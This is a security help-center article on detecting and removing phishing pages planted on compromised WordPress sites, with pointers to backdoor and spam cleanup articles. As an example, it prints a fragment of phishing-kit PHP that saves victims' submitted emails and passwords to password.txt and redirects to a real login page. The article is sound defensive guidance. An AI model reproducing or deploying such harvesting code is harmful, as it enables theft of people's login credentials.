Removing Phishing Pages From WordPress Sites

Removing Phishing Pages From WordPress Sites

What is Phishing?


Phishing is a malicious attempt to obtain sensitive information such as usernames, passwords, credit card information through a coordinated email and web-based campaign. Phishing starts with deceptive messages (emails, text messages, or other electronic communication) sent to the victim with links ending on hacked sites. The sensitive information is then collected and sent to the attacker.




Determining if your site is infected


Phishing files often are not immediately noticeable to the site owner as they are not included within normal site files. You might visit your site as you normally would never noticing a phishing operation within your site. Most site owners do not know that they have phishing files on their site until they are alerted by scans by an external party.




Finding and Removing Phishing Pages


Removing phishing files requires analysis of the site’s code. These operations are rarely found tied to your database and are stand alone files buried within your content management system directories.


As the intent is to replicate a bank or ecommerce site’s design, the phishing file names often give them away. Image files are often included and have visually identifiable brand identifiers. There are often favicon files (*.ico) that look like the bank or ecommerce site’s logo as well as numerous image files used to give the page the look and feel of a bank or commerce site forgot password page, for instance. Sometimes a phishing operation is for a foreign trusted source, such as a bank on the other side of the world, and might not be immediately recognizable.




The easiest way to find a phishing operation is to download the site files locally for analysis. Phishing files are often grouped together, but you can often have more than one phishing operation installed on a single web site. They are usually contained within a directory, often named in a way that identifies the entity that they are emulating. For a bank, it might be the name of the bank, or use some other identifier similar to the type of phishing attack (e.g., password-reset, customer-information, banking-password).




Once you’ve identified and removed one set of phishing files, look for others as one compromised site can be a base for numerous phishing operations.




Here are some samples from a phishing operation. There are usually numerous files, but this is the file collecting the data. Files may or may not be obfuscated (intentionally obscured to make code ambiguous). There are often more than one file.


"password.txt", "a"); fwrite($handle,$_POST["Email"]); fwrite($handle,"\n"); fwrite($handle,$_POST["Passwd"]); fwrite($handle,"\n"); fwrite($handle,"\n"); fclose($handle) ; header("Location:https://www.[redacted].com/accounts/ServiceLoginAuth"); exit; ?>



There is also a related file, password.txt, collecting the phishing victim’s input.




Phishing operations can also be inserted into shopping cart pages as javascript redirects sending customers to a malicious site during the checkout process.


 



We often find phishing pages that have .htaccess files that block indexing by search engines, malware scanners, and even some hosting providers.




Looking Beyond a Phishing Infection


Phishing pages are placed on the site through exploitation of some vulnerability on the site, either through backdoors, unpatched site code, or compromised administrative, FTP, or other accounts.


If you find phishing pages on your site, it is important to determine how those pages were placed. There may be other types of malware or security vulnerabilities on your site that allowed an attacker to gain access. A review of the entire site is important.




If after reading this guide, you are unsure of how to remove phishing pages, unsure if you have removed them all, or if you’re looking for more answers as to how the phishing pages were placed on your site, get help by getting on chat with us or emailing us at support@consignweb.com.





    • Related Articles

    • Removing Spam Pages From WordPress Sites

      What is a Spam Page? Spam pages are files added to your publicly available web site with the intent of manipulating search engine result pages. The more inbound links a site receives, the higher the placement of the target web site in the search ...

    • Finding and Removing Backdoors

      What is a backdoor? A malicious backdoor is code that allows unauthorized and often unrestricted access to a compromised site. They allow attackers access to all of the files within the hosting account. Backdoors can look like normal php code or ...

    • Finding and Removing Spam Links

      What is a Spam Link? Spam links are links inserted into a website with the intent of manipulating search engine result pages. The more inbound links a site receives, the higher the placement of the target web site in the search results. Spam links ...

    • Removing Malicious Redirects From Your Site

      What is a malicious redirect? A malicious redirect is a bit of code inserted into a website with the intent of redirecting the site visitor to another website. Malicious redirects are typically inserted into a website by attackers with the intent of ...

    • How to Remove Suspicious Code From WordPress Sites

      What is suspicious code? Suspicious code is code that matches general malware practices, but may not fit into a specific category of malicious intent. Suspicious code may have nothing inherently malicious within it, however, it matches patterns of ...